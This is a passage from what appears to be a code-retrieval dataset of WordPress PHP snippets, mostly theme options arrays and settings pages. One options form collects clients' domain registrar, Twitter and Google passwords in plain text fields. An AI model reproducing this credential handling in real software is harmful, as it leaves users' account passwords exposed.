'',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial4',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial5',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\n\t$options[] = array(\n\t\t'name' => __('Patient testimonial', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'testimonial6',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\t\t\t\n\t\t\t\t\t\t\t\n\t\t\n// Social Tab\t\t\n\t$options[] = array(\n\t\t'name' => __('Social Media & Accounts', 'options_check'),\n\t\t'type' => 'heading');\n\n/* Donain Name */\n\t$options[] = array(\n\t\t'name' => __('Domain Name', 'options_check'),\n\t\t'desc' => __('The company that your domain name is registered with (ex: godaddy.com or networksolutions.com).', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Domain Name Registrar', 'options_check'),\n\t\t'desc' => __('The company that your domain name is registered with (ex: godaddy.com or networksolutions.com).', 'options_check'),\n\t\t'id' => 'domain_registrar',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Domain Name Registrar User name', 'options_check'),\n\t\t'desc' => __('The user name for your domain registrar.).', 'options_check'),\n\t\t'id' => 'domain_user',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Domain Name Registrar Password', 'options_check'),\n\t\t'desc' => __('The password for your domain registrar.).', 'options_check'),\n\t\t'id' => 'domain_pass',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\n/* Donain Name */\n\t$options[] = array(\n\t\t'name' => __('Email Account', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'type' => 'info');\n\n\t$options[] = array(\n\t\t'name' => __('Email Hosting', 'options_check'),\n\t\t'desc' => __('Where is your email currently hosted?', 'options_check'),\n\t\t'id' => 'email_account',\n\t\t'std' => 'one',\n\t\t'type' => 'radio',\n\t\t'options' => $email);\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Social Media', 'options_check'),\n\t\t'desc' => __('The company that your domain name is registered with (ex: godaddy.com or networksolutions.com).', 'options_check'),\n\t\t'type' => 'info');\n\t\t\n/* Twitter */\n\t$options[] = array(\n\t\t'name' => __('Twitter Profile', 'options_check'),\n\t\t'desc' => __('Do you already have a <strong>Twitter</strong> account?', 'options_check'),\n\t\t'id' => 'twitter_radio',\n\t\t'std' => 'one',\n\t\t'type' => 'radio',\n\t\t'options' => $twitter);\n\n\t$options[] = array(\n\t\t'name' => __('Twitter Username', 'options_check'),\n\t\t'desc' => __('The twitter user name (ie the @yourname).', 'options_check'),\n\t\t'id' => 'twiter_user',\n\t\t'std' => '',\n\t\t'class' => 'mini twitter_hidden hidden',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Twitter Password', 'options_check'),\n\t\t'desc' => __('The password you use to log into twitter.', 'options_check'),\n\t\t'id' => 'twiter_pass',\n\t\t'std' => '',\n\t\t'class' => 'mini twitter_hidden hidden',\n\t\t'type' => 'text');\n\n/* Facebook */\n\t$options[] = array(\n\t\t'name' => __('Facebook Page', 'options_check'),\n\t\t'desc' => __('Do you already have a <strong>Facebook</strong> Page?', 'options_check'),\n\t\t'id' => 'facebook_radio',\n\t\t'std' => 'one',\n\t\t'type' => 'radio',\n\t\t'options' => $facebook);\n\n\t$options[] = array(\n\t\t'name' => __('Facebook instructions', 'options_check'),\n\t\t'desc' => __('\n\t\t\t\t\tPlease follow these instructions to add us as an administrator to your Facebook page in order to allow us to manage your page.\n\t\t\t\t\t\n\t\t\t\t\tSteps for Making \"Riley Poole\" an Administrator\n\t\t\t\t\t<ol>\n\t\t\t\t\t<li>Go into your company\\'s page.</li>\n\t\t\t\t\t<li>Go into \"Edit Page\" in the top right-hand corner.</li>\n\t\t\t\t\t<li>In the drop-down menu, click \"Admin Roles.\"</li>\n\t\t\t\t\t<li>In the blank box under the original admin (you), type in [email protected] to add Riley Poole as an Admin (Manager).</li>\n\t\t\t\t\t</ol>\n\t\t', 'options_check'),\n\t\t'id' => 'facebook_user',\n\t\t'std' => '',\n\t\t'class' => 'mini facebook_hidden hidden',\n\t\t'type' => 'info');\n\n/* Google + */\n\t$options[] = array(\n\t\t'name' => __('Google+ Local', 'options_check'),\n\t\t'desc' => __('Do you already have a <strong>Google+ Local</strong> page?', 'options_check'),\n\t\t'id' => 'google_radio',\n\t\t'std' => 'one',\n\t\t'type' => 'radio',\n\t\t'options' => $google);\n\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Username', 'options_check'),\n\t\t'desc' => __('The Google+ Local user name (will most likely be a gmail address).', 'options_check'),\n\t\t'id' => 'google_user',\n\t\t'std' => '',\n\t\t'class' => 'mini google_hidden hidden',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Google+ Local Password', 'options_check'),\n\t\t'desc' => __('The password you use to log into Google+ Local page.', 'options_check'),\n\t\t'id' => 'google_pass',\n\t\t'std' => '',\n\t\t'class' => 'mini google_hidden hidden',\n\t\t'type' => 'text');\n\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Facebook Page Address', 'options_check'),\n\t\t'desc' => __('Please enter the full URL of your Facebook Page. Starting with \"http://\". Leave this blank of you don\\'t yet have a Facebook page.', 'options_check'),\n\t\t'id' => 'facebook_url',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Twitter Profile Address', 'options_check'),\n\t\t'desc' => __('Please enter the full URL of your Twitter profile. Starting with \"http://\". Leave this blank of you don\\'t yet have a Twitter profile.', 'options_check'),\n\t\t'id' => 'twitter_url',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Google+ Address', 'options_check'),\n\t\t'desc' => __('Please enter the full URL of your Google+ page. Starting with \"http://\". Leave this blank of you don\\'t yet have a Google+ page.', 'options_check'),\n\t\t'id' => 'google_plus_url',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\t\t\n\t\t\n// SEO Tab\t\t\n\t$options[] = array(\n\t\t'name' => __('SEO Information', 'options_check'),\n\t\t'type' => 'heading');\n\n\t$options[] = array(\n\t\t'name' => __('Owner Cell Number', 'options_check'),\n\t\t'desc' => __('Please supply a cell number that can receive text messages. Verification codes use to establish online listings from companies like Google, Bing and Yahoo will be sent to this cell number. We\\'ll provide instructions about where to send any codes that you receive. ', 'options_check'),\n\t\t'id' => 'cell_phone_number',\n\t\t'std' => '',\n\t\t'class' => 'mini',\n\t\t'type' => 'text');\n\t\t\n/*\n\t\t\n\t\t// Advanced Tab\n\t$options[] = array(\n\t\t'name' => __('Advanced Settings', 'options_check'),\n\t\t'type' => 'heading');\n\n\t$options[] = array(\n\t\t'name' => __('Check to Show a Hidden Text Input', 'options_check'),\n\t\t'desc' => __('Click here and see what happens.', 'options_check'),\n\t\t'id' => 'example_showhidden',\n\t\t'type' => 'checkbox');\n*/\n\n/*\n\t$options[] = array(\t\n\t\t'id' => 'example_text_hidden',\n\t\t'type' => 'info_hide_top');\n\t\t\n\n\t$options[] = array(\n\t\t'name' => __('Your Name', 'options_check'),\n\t\t'desc' => __('Your Full Company Name', 'options_check'),\n\t\t'id' => 'your_name',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('My Name', 'options_check'),\n\t\t'desc' => __('Your Full Company Name', 'options_check'),\n\t\t'id' => 'my_name',\n\t\t'std' => '',\n\t\t'type' => 'text');\n\t\t\n\t$options[] = array(\n\t\t'type' => 'info_hide_bottom');\n*/\n/*\n\t\t\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Hidden Text Input', 'options_check'),\n\t\t'desc' => __('This option is hidden unless activated by a checkbox click.', 'options_check'),\n\t\t'id' => 'example_text_hidden',\n\t\t'std' => 'Hello',\n\t\t'class' => 'hidden',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Hidden Text Input', 'options_check'),\n\t\t'desc' => __('This option is hidden unless activated by a checkbox click.', 'options_check'),\n\t\t'id' => 'example_text_hidden2',\n\t\t'std' => 'Hello',\n\t\t'class' => 'hidden',\n\t\t'type' => 'text');\n\t\t\n*/\n\t\t\n/****** **********/\n/*\n\t$options[] = array(\n\t\t'name' => __('Check to Show a Hidden Text Input', 'options_check'),\n\t\t'desc' => __('Click here and see what happens.', 'options_check'),\n\t\t'id' => 'example_showhidden2',\n\t\t'type' => 'checkbox');\n\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Hidden Text Input', 'options_check'),\n\t\t'desc' => __('This option is hidden unless activated by a checkbox click.', 'options_check'),\n\t\t'id' => 'example_text_hidden',\n\t\t'std' => 'Hello',\n\t\t'class' => 'hidden two',\n\t\t'type' => 'text');\n\n\t$options[] = array(\n\t\t'name' => __('Hidden Text Input', 'options_check'),\n\t\t'desc' => __('This option is hidden unless activated by a checkbox click.', 'options_check'),\n\t\t'id' => 'example_text_hidden2',\n\t\t'std' => 'Hello',\n\t\t'class' => 'hidden two',\n\t\t'type' => 'text');\n\n\n\t$options[] = array(\n\t\t'name' => __('Uploader Test', 'options_check'),\n\t\t'desc' => __('This creates a full size uploader that previews the image.', 'options_check'),\n\t\t'id' => 'example_uploader',\n\t\t'type' => 'upload');\n\n\t$options[] = array(\n\t\t'name' => \"Example Image Selector\",\n\t\t'desc' => \"Images for layout.\",\n\t\t'id' => \"example_images\",\n\t\t'std' => \"2c-l-fixed\",\n\t\t'type' => \"images\",\n\t\t'options' => array(\n\t\t\t'1col-fixed' => $imagepath . '1col.png',\n\t\t\t'2c-l-fixed' => $imagepath . '2cl.png',\n\t\t'2c-r-fixed' => $imagepath . '2cr.png')\n\t);\n\n\t$options[] = array(\n\t\t'name' => __('Example Background', 'options_check'),\n\t\t'desc' => __('Change the background CSS.', 'options_check'),\n\t\t'id' => 'example_background',\n\t\t'std' => $background_defaults,\n\t\t'type' => 'background' );\n\n\t$options[] = array(\n\t\t'name' => __('Multicheck', 'options_check'),\n\t\t'desc' => __('Multicheck description.', 'options_check'),\n\t\t'id' => 'example_multicheck',\n\t\t'std' => $multicheck_defaults, // These items get checked by default\n\t\t'type' => 'multicheck',\n\t\t'options' => $multicheck_array);\n\n\t$options[] = array(\n\t\t'name' => __('Colorpicker', 'options_check'),\n\t\t'desc' => __('No color selected by default.', 'options_check'),\n\t\t'id' => 'example_colorpicker',\n\t\t'std' => '',\n\t\t'type' => 'color' );\n\t\t\n\t$options[] = array( 'name' => __('Typography', 'options_check'),\n\t\t'desc' => __('Example typography.', 'options_check'),\n\t\t'id' => \"example_typography\",\n\t\t'std' => $typography_defaults,\n\t\t'type' => 'typography' );\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Custom Typography', 'options_check'),\n\t\t'desc' => __('Custom typography options.', 'options_check'),\n\t\t'id' => \"custom_typography\",\n\t\t'std' => $typography_defaults,\n\t\t'type' => 'typography',\n\t\t'options' => $typography_options );\n*/\n\n// Advanced Tab\n/*\n\t$options[] = array(\n\t\t'name' => __('Text Editor', 'options_check'),\n\t\t'type' => 'heading' );\n*/\n\n\t/**\n\t * For $settings options see:\n\t * http://codex.wordpress.org/Function_Reference/wp_editor\n\t *\n\t * 'media_buttons' are not supported as there is no post to attach items to\n\t * 'textarea_name' is set by the 'id' you choose\n\t */\n\n/*\n\t$wp_editor_settings = array(\n\t\t'wpautop' => true, // Default\n\t\t'textarea_rows' => 5,\n\t\t'tinymce' => array( 'plugins' => 'wordpress' )\n\t);\n\t\n\t$options[] = array(\n\t\t'name' => __('Default Text Editor', 'options_check'),\n\t\t'desc' => sprintf( __( 'You can also pass settings to the editor. Read more about wp_editor in <a href=\"%1$s\" target=\"_blank\">the WordPress codex</a>', 'options_check' ), 'http://codex.wordpress.org/Function_Reference/wp_editor' ),\n\t\t'id' => 'example_editor',\n\t\t'type' => 'editor',\n\t\t'settings' => $wp_editor_settings );\n*/\n\n// Style Tab\n\t$options[] = array(\n\t\t'name' => __('Style', 'options_check'),\n\t\t'type' => 'heading' );\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Style Options', 'options_check'),\n\t\t'desc' => __('<h3>Feel free to skip this section entirely, our design team will happily complete this.</h3>', 'options_check'),\n\t\t'type' => 'info');\n\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Display Hearing test Button', 'options_check'),\n\t\t'desc' => __('Check to display a hearing test button on header.', 'options_check'),\n\t\t'id' => 'display_test',\n\t\t'std' => '0',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Display Slogan', 'options_check'),\n\t\t'desc' => __('Check to display your Company Name and Slogan in header Area', 'options_check'),\n\t\t'id' => 'display_slogan',\n\t\t'std' => '1',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Display Logo', 'options_check'),\n\t\t'desc' => __('Check to display your logo in the header area', 'options_check'),\n\t\t'id' => 'display_logo',\n\t\t'std' => '1',\n\t\t'type' => 'checkbox');\n\n\t$options[] = array(\n\t\t'name' => __('Display Full Address in Header', 'options_check'),\n\t\t'desc' => __('Check to display your Full Address in Header Area', 'options_check'),\n\t\t'id' => 'display_full_address',\n\t\t'std' => '0',\n\t\t'type' => 'checkbox');\n\n\t$options[] = array(\n\t\t'name' => __('Display \"X locations\" tag line', 'options_check'),\n\t\t'desc' => __('Check to display \"With X Locations To Serve You\" instead of each address', 'options_check'),\n\t\t'id' => 'display_x_locations',\n\t\t'std' => '0',\n\t\t'type' => 'checkbox');\t\n\n\t$options[] = array(\n\t\t'name' => __('Display intro line', 'options_check'),\n\t\t'desc' => __('Check to display intro line below banner.', 'options_check'),\n\t\t'id' => 'display_intro',\n\t\t'std' => '0',\n\t\t'type' => 'checkbox');\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Custom Intro line', 'options_check'),\n\t\t'desc' => __('', 'options_check'),\n\t\t'id' => 'intro_custom',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'textarea');\n\t\n\t$options[] = array(\n\t\t'name' => __('Custom CSS', 'options_check'),\n\t\t'desc' => __('Enter css here', 'options_check'),\n\t\t'id' => 'custom_css',\n\t\t'std' => '',\n\t\t'type' => 'textarea');\n\t\t\t\t\t\t\t\t\t\t\n\t$options[] = array(\n\t\t'name' => __('Primary Color', 'options_check'),\n\t\t'desc' => __('Use ColorPicker or Type Hex Color, (ie&nbsp;#333333)\n\t\tOr choose 00000 and leave the color decisions in our hands.', 'options_check'),\n\t\t'id' => 'primary_color',\n\t\t'std' => '#333333',\n\t\t'type' => 'color' );\n\n\t$options[] = array(\n\t\t'name' => __('Secondary Color', 'options_check'),\n\t\t'desc' => __('Use ColorPicker or Type Hex Color, (ie&nbsp;#666666)\n\t\tOr choose 00000 and leave the color decisions in our hands.', 'options_check'),\n\t\t'id' => 'secondary_color',\n\t\t'std' => '#666666',\n\t\t'type' => 'color' );\n\n\t$options[] = array(\n\t\t'name' => __('Body Background Color', 'options_check'),\n\t\t'desc' => __('Use ColorPicker or Type Hex Color, (ie&nbsp;#666666)\n\t\tOr choose 00000 and leave the color decisions in our hands.', 'options_check'),\n\t\t'id' => 'body_background_color',\n\t\t'std' => '#E1E1E1',\n\t\t'type' => 'color' );\n\t\t\n\t// Generated list of stylesheets in the \"CSS\" directory\n\t// Use template_directory paths if you're using a parent theme\n\t\t\n/*\n\t$alt_stylesheets = options_stylesheets_get_file_list(\n\t\tget_stylesheet_directory() . '/assets/less/', // $directory_path\n\t\t'*', // $filetype\n\t\tget_stylesheet_directory_uri() . '/assets/less/' // $directory_uri\n\t);\n\t\n*/\n\t// If using image radio buttons, define a directory path\n\t$imagepath = get_template_directory_uri() . '/assets/less/';\n\t\n\t$options[] = array(\n\t\t'name' => \"Example Image Selector\",\n\t\t'desc' => \"Images for layout.\",\n\t\t'id' => \"theme_img\",\n\t\t'std' => \"2c-l-fixed\",\n\t\t'type' => \"images\",\n\t\t'options' => array(\n\t\t\t'amelia' => $imagepath . 'amelia/thumbnail.png',\n\t\t\t'cerulean' => $imagepath . 'cerulean/thumbnail.png',\n\t\t\t'cosmo' => $imagepath . 'cosmo/thumbnail.png',\n\t\t\t'cyborg' => $imagepath . 'cyborg/thumbnail.png',\n\t\t\t'darkly' => $imagepath . 'darkly/thumbnail.png',\n\t\t\t'flatly' => $imagepath . 'flatly/thumbnail.png',\n\t\t\t'journal' => $imagepath . 'journal/thumbnail.png',\n\t\t\t'lumen' => $imagepath . 'lumen/thumbnail.png',\n\t\t\t'paper' => $imagepath . 'paper/thumbnail.png',\n\t\t\t'readable' => $imagepath . 'readable/thumbnail.png',\n\t\t\t'sandstone' => $imagepath . 'sandstone/thumbnail.png',\n\t\t\t'simplex' => $imagepath . 'simplex/thumbnail.png',\n\t\t\t'slate' => $imagepath . 'slate/thumbnail.png',\n\t\t\t'spacelab' => $imagepath . 'spacelab/thumbnail.png',\n\t\t\t'superhero' => $imagepath . 'superhero/thumbnail.png',\n\t\t\t'united' => $imagepath . 'united/thumbnail.png',\n\t\t\t'yeti' => $imagepath . 'yeti/thumbnail.png',\n\t\t\t'cosmo' => $imagepath . 'cosmo/thumbnail.png')\n\t);\n\n\n\t$alt_stylesheets = array(\n\t\t\"0\" => \"Default\", // There is no \"default\" stylesheet to load\n\t\t'amelia' => \"amelia\",\n\t\t'cosmo' => \"cosmo\",\n\t\t'cyborg' => \"cyborg\",\n\t\t'/css/pei/styles.css' => \"pei\"\t\t\n\t);\n\t\t\n\t$options[] = array( \n\t\t\"name\" => \"Theme Style\",\n\t\t\"desc\" => 'In this example the css files in the \"css\" directory are automatically loaded into the option.',\n\t\t\"id\" => \"auto_stylesheet\",\n\t\t\"type\" => \"select\",\n\t\t\"options\" => $alt_stylesheets );\n\t\t\n\t// Defined Stylesheet Paths\n\t// Use get_template_directory_uri if it's a parent theme\n\t\t\n/*\n\t$defined_stylesheets = array(\n\t\t\"0\" => \"Default\", // There is no \"default\" stylesheet to load\n\t\tget_stylesheet_directory() . '/css/enqueued/new_style.php' => \"New Style\",\n\t\t'/css/ebright/skin-four.css' => \"ebright\",\n\t\t'/css/cadem/styles.css' => \"cadem\",\n\t\t'/css/pei/styles.css' => \"pei\"\t\t\n\t);\n\n\t\n\t$options[] = array( \"name\" => \"Select a Stylesheet to be Loaded\",\n\t\t\"desc\" => \"This is a manually defined list of stylesheets.\",\n\t\t\"id\" => \"stylesheet\",\n\t\t\"std\" => \"0\",\n\t\t\"type\" => \"select\",\n\t\t\"options\" => $defined_stylesheets );\n*/\n\t$options[] = array(\n\t\t'name' => __('Upgrades', 'options_check'),\n\t\t'type' => 'heading' );\n\t\t\n\t$options[] = array(\n\t\t'name' => __('Account Upgrades', 'options_check'),\n\t\t'desc' => __('If you are interested in any of the following:\n\t\t\t\t\t<ul>\n\t\t\t\t\t<li>Branded Email Accounts (ie [email protected]).</li>\n\t\t\t\t\t<li>Online Review Management.</li>\n\t\t\t\t\t<li>Google Adwords.</li>\n\t\t\t\t\t<li>Additional Optimized Locations.</li>\n\t\t\t\t\t</ul>\n\t\t\t\t\tFill out a support ticket here: <a href=\"http://obelismedia.com/support/\">Support Portal</a>\n\t\t', 'options_check'),\n\t\t'id' => 'upgrades',\n\t\t'std' => '',\n\t\t'class' => '',\n\t\t'type' => 'info');\n\t\t\n\treturn $options;\n}", "title": "" }, { "docid": "19b82a8a4a3234a8af5c587fd894705c", "score": "0.65850854", "text": "function options() {\n\t\t\t?>\n\t\t\t<h2><?php _e( 'Import Options', 'disqus-importer' ); ?></h2>\n\t\t\t<p><?php printf( _n( 'It looks like there&#8217;s %s comment in the file.', 'It looks like there are %s comments in the file.', $this->found_comment_count, 'disqus-importer' ), $this->found_comment_count ); ?></p>\n\t\t\t<p><?php _e( 'Click Next to import all of them.', 'disqus-importer' ); ?></p>\n\n\t\t\t<form action=\"?import=disqus&amp;step=2&amp;id=<?php echo $this->id; ?>\" method=\"post\">\n\t\t\t<?php wp_nonce_field( 'import-disqus' ); ?>\n\t\t\t\t<p class=\"submit\">\n\t\t\t\t\t<input type=\"submit\" class=\"button\" value=\"<?php echo esc_attr__( 'Next', 'disqus-importer' ); ?>\" /><br />\n\t\t\t\t</p>\n\t\t\t</form>\n\t\t\t<?php\n\t\t}", "title": "" }, { "docid": "b3c55834f42fdd8ce604e711c27e9767", "score": "0.6583509", "text": "function getOptions() ;", "title": "" }, { "docid": "7ff74a209a084bb2dcc2ace66cab87e8", "score": "0.6578524", "text": "function display_options() {\n if(isset($_GET[\"tab\"])) {\n if($_GET[\"tab\"] == \"general-settings\" || !$_GET[\"tab\"]) {\n\n \tdisplay_settings_content();\n } else {\n register_setting(\"general_settings_section\", \"nim_address\");\n }\n } else {\n \tdisplay_settings_content();\n }\n \n }", "title": "" }, { "docid": "bdf1da2fd0437a679c03dea6f3ed902e", "score": "0.6570081", "text": "public function render() {\n\t\tforeach ( $this->opts as $opt ) {\n\t\t\tWP_CLI::line( $opt );\n\t\t}\n\t}", "title": "" }, { "docid": "d098283603509eef8311d23347161562", "score": "0.6561725", "text": "function iVolunteer_createOptions ()\n {\n $iVolunteer_initialOptions = array ('numEventsToDisplay' => 5);\n\n // Store the initial options to the wp database\n add_option (IVOLUNTEER_OPTIONS, $iVolunteer_initialOptions);\n }", "title": "" }, { "docid": "9315a0f29a183f16daeb03986693b720", "score": "0.6556428", "text": "public function options_page_contents_site() {\n\t\t?>\n <div class=\"wrap\" >\n\n <h2 ><?php echo self::page_title ?></h2 >\n\n <form method=\"post\" action=\"options.php\" >\n\t\t\t\t<?php\n\t\t\t\t// This prints out all hidden setting fields\n\t\t\t\tsettings_fields( self::option_group_name );\n\t\t\t\tdo_settings_sections( $this->is_network ? self::page_network_slug : self::page_site_slug );\n\t\t\t\tsubmit_button();\n\t\t\t\t?>\n </form >\n </div >\n\t\t<?php\n\t}", "title": "" }, { "docid": "31b665f32e5741ec85002ab378fe0173", "score": "0.65552026", "text": "abstract public function &options();", "title": "" }, { "docid": "d9702ca8bd73489502ed61817ab128dc", "score": "0.65498", "text": "function ama_weather_options_page() {\r\n add_menu_page(\r\n 'AMA Weather',\r\n 'AMA Weather Options',\r\n 'manage_options',\r\n 'ama_weather',\r\n 'ama_weather_options_page_html'\r\n );\r\n}", "title": "" }, { "docid": "f73529b7462f99f0ff6c1db8bb1a91c9", "score": "0.65491736", "text": "function hello_world_one_pages() {\n\tadd_options_page('Hello World 1', 'Hello World 1', 'manage_options', 'helloworld1', 'hello_world_one');\n}", "title": "" }, { "docid": "f6625f776a50418903f8509fdbb56f1b", "score": "0.65488696", "text": "function vallume_options_page_setup() {\n add_options_page(\n 'Vallume options',\n 'Theme options',\n 'manage_options',\n 'vallume-options',\n 'add_valume_options_page'\n );\n}", "title": "" }, { "docid": "33a4fc5dea3877506c39bd4e37bc3210", "score": "0.6547983", "text": "private function set_options() {\r\n\t\t\t\t$this->opts = array(\r\n\t\t\t\t\t$this->prefix . 'version' => $this->v_num,\r\n\t\t\t\t\t$this->prefix . 'options' => array(\r\n\t\t\t\t\t\t'goal' => '0.00',\r\n\t\t\t\t\t\t'amount' => '0.00',\r\n\t\t\t\t\t\t'start_date' => '0000-00-00',\r\n\t\t\t\t\t\t'end_date' => '0000-00-00',\r\n\t\t\t\t\t\t'success' => 'Thanks for your support!',\r\n\t\t\t\t\t\t'active' => 0,\r\n\t\t\t\t\t\t'last_update' => 0000-00-00,\r\n\t\t\t\t\t\t'link' => '/donate/',\r\n\t\t\t\t\t\t'button' => 'Donate'\r\n\t\t\t\t\t),\r\n\t\t\t\t\t$this->prefix . 'display' => array(\r\n\t\t\t\t\t\t'css' => 1,\r\n\t\t\t\t\t\t'position' => 'bottom',\r\n\t\t\t\t\t\t'raised_template' => '$%raised_format% of $%goal_format% goal',\r\n\t\t\t\t\t\t'success_template' => 'Thanks to your support we raised %raised_format%!',\r\n\t\t\t\t\t\t'show' => 'none',\r\n\t\t\t\t\t\t'tickmarks' => 0\r\n\t\t\t\t\t)\r\n\t\t\t\t);\r\n\t\t\t}", "title": "" }, { "docid": "31a8a0447867256ba6a5937b35910b2e", "score": "0.65436524", "text": "function ghjquery_theme_options_render_page() {\n ?>\n <div class=\"wrap\">\n <?php screen_icon(); ?>\n <h2><?php _e( 'Google CDN jQuery Options', 'ghjquery' ); ?></h2>\n\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields( 'ghjquery_options' );\n do_settings_sections( 'ghjquery_theme_options' );\n submit_button();\n ?>\n </form>\n </div>\n <?php\n}", "title": "" }, { "docid": "e52b5fe9df92234939625f19653ceaf5", "score": "0.65426224", "text": "function smuggery_optionspage () {\n\tinclude ( 'smuggery-options.php' );\n}", "title": "" }, { "docid": "f5dc292df85b77d4cb586ad59fc47c8a", "score": "0.653798", "text": "function optionsframework_options() {\n \n // Pull all the categories into an array\n $options_categories = array();\n $options_categories_obj = get_categories();\n foreach ($options_categories_obj as $category) {\n $options_categories[$category->cat_ID] = $category->cat_name;\n }\n \n // Pull all the pages into an array\n $options_pages = array();\n $options_pages_obj = get_pages('sort_column=post_parent,menu_order');\n $options_pages[''] = 'Select a page:';\n foreach ($options_pages_obj as $page) {\n $options_pages[$page->ID] = $page->post_title;\n }\n \n // If using image radio buttons, define a directory path\n $imagepath = get_stylesheet_directory_uri() . '/admin/theme_options/images/';\n $imagecolor = get_stylesheet_directory_uri() . '/admin/theme_options/images/color-style/';\n $imagepatterns = get_stylesheet_directory_uri() . '/admin/theme_options/images/patterns-style/';\n $imagelogo = get_stylesheet_directory_uri() . '/images/logo.png';\n $imagefavicon = get_stylesheet_directory_uri() . '/images/favicon.ico';\n \n $options[] = array(\n \"name\" => \"General\",\n \"icon\" => \"general.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Non-Stop Music Player\",\n \"desc\" => \"Check the box to activate the music player.\",\n \"id\" => \"active_ajax\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Active Player\",\n \"desc\" => \"Check the box to activate slider.\",\n \"id\" => \"active_player\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Audio/Radio\",\n \"desc\" => \"Select type of player audio or radio.\",\n \"id\" => \"player_audio_radio\",\n \"std\" => \"player_audio\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'player_audio' => 'Audio',\n 'player_radio' => 'Radio'\n )\n );\n\n $options[] = array(\n \"name\" => \"Language of the Date\",\n \"desc\" => \"Please select the language of the event date.\",\n \"id\" => \"lang_event\",\n \"std\" => \"lang_EN\",\n \"type\" => \"select\",\n \"options\" => array(\n \"lang_EN\" => \"English\",\n \"lang_RO\" => \"Romanian\",\n \"lang_ES\" => \"Spanish\",\n \"lang_IT\" => \"Italian\",\n \"lang_PT\" => \"Portuguese\",\n \"lang_DE\" => \"German\",\n \"lang_NE\" => \"Dutch\",\n \"lang_FR\" => \"French\",\n )\n );\n \n $options[] = array(\n \"name\" => \"Logo\",\n \"desc\" => \"Maximum width:300px and height:100px.\",\n \"id\" => \"logo_upload\",\n \"std\" => $imagelogo,\n \"type\" => \"upload\"\n );\n \n $options[] = array(\n \"name\" => \"Favicon\",\n \"desc\" => \"Upload favicon, width:16px and height:16px.\",\n \"id\" => \"favicon_upload\",\n \"std\" => $imagefavicon,\n \"type\" => \"upload\"\n );\n \n $options[] = array(\n \"name\" => \"Google Analytics CODE\",\n \"desc\" => \"Enter your Google Analytics or other tracking code here.\",\n \"id\" => \"analytics_code\",\n \"std\" => \"\",\n \"type\" => \"textarea\"\n );\n\n $options[] = array(\n \"name\" => \"Template\",\n \"icon\" => \"template.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Header Features\",\n \"desc\" => \"Select features in header.\",\n \"id\" => \"header_feat\",\n \"std\" => \"header_none\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'header_none' => 'None',\n 'header_event' => 'Event',\n 'header_banner' => 'Banner'\n )\n );\n \n $options[] = array(\n \"name\" => \"Banner CODE\",\n \"desc\" => \"Enter your banner code.\",\n \"id\" => \"banner_code\",\n \"std\" => \"\",\n \"type\" => \"textarea\"\n );\n \n \n $options[] = array(\n \"name\" => \"Sidebar Layout for Single Page Blog\",\n \"desc\" => \"Select right/left sidebar.\",\n \"id\" => \"blog_images\",\n \"std\" => \"right-blog-sidebar\",\n \"type\" => \"images\",\n \"options\" => array(\n 'left-blog-sidebar' => $imagepath . 'left-sidebar.png',\n 'right-blog-sidebar' => $imagepath . 'right-sidebar.png'\n )\n );\n \n $options[] = array(\n \"name\" => \"Sidebar Layout for Single Page Events\",\n \"desc\" => \"Select right/left sidebar.\",\n \"id\" => \"event_images\",\n \"std\" => \"right-event-sidebar\",\n \"type\" => \"images\",\n \"options\" => array(\n 'left-event-sidebar' => $imagepath . 'left-sidebar.png',\n 'right-event-sidebar' => $imagepath . 'right-sidebar.png'\n )\n );\n \n $options[] = array(\n \"name\" => \"Number of Videos per 